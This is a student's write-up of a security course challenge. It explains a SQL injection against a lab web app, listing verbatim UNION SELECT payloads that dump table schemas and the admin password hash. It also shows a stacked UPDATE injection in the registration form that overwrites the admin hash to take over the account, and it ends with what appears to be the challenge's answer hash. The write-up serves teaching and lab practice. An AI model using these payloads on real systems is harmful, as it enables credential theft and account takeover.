Om Khadka, U51801771
Sources: SQL UNION Properties, Updating on a UNION command
Collabs: N/A

Challenge 7

This hack exploited a second-order SQL injection vulnerability within the /register endpoint to directly modify the admin's password hash in the database. Rather than attempting to crack the hash, the attack bypassed cryptographic protection entirely by replacing the admin's hash with a known value.

Vulnerability

The following vulnerabilities allowed for the site to be exploited:

- Inappropriate privileges to /register endpoint; /register should only be able to add to the SQL database, but it adds permission to also modify and delete stuff too.
- The passwords being hashed in SHA256 made it impossible for me to crack the hash directly.
- No input sanitization on registration fields
    - Thus leading to UPDATE statement vulnerability, which allowed for direct database modification

Attack

1. I determined the database structure using SQL injection on the /search endpoint:
    a. " UNION SELECT 1,2–
        i. It's a 2D database
2. By then running this:
    a. " UNION SELECT name, sql FROM sqlite_master WHERE type='table'--

    I discovered the **members** table structure, with the key rows being **userid** and **password_hash** columns.
3. I then got the **admin_hash** by SQL injection on /search:
    a. " UNION SELECT userid, password_hash FROM members WHERE userid='admin'--
4. On /register, I made a new account with the following data
    name1
    username1
    [password doesn't matter, keep it simple] → **test_password**
        i. REMEMBER **test_password**
5. I did the same method from **3** to get **test_hash** as well.
    a. " UNION SELECT userid, password_hash FROM members WHERE userid='username1'--

Om Khadka, U51801771
Sources: SQL UNION Properties, Updating on a UNION command
Collabs: N/A

6. Then, on /register, I used the fact that /register can modify the database to directly inject **test_hash** as the admin's hash, effectively changing the admin's password to be the **test_password**
    a. name : Name = name2", "username2", "password_hash"); UPDATE members SET password_hash='**test_hash**' WHERE userid='admin'; --

       username : [doesn't matter]

       password : [doesn't matter]
7. Finally, I logged in as admin with the following input
    a. username : admin
       name : om khadka
       password : [**test_password**]

This exploit is essentially changing the hashed password for the admin to become a hash that we already know (the test account's password). This means that the plaintext password for admin turns from something unknown into a password we do know (the test account's password).

Hash: 199d81cbfe756b918eeda6682fac323cc88e8d68274bae1985f27e83f4f20525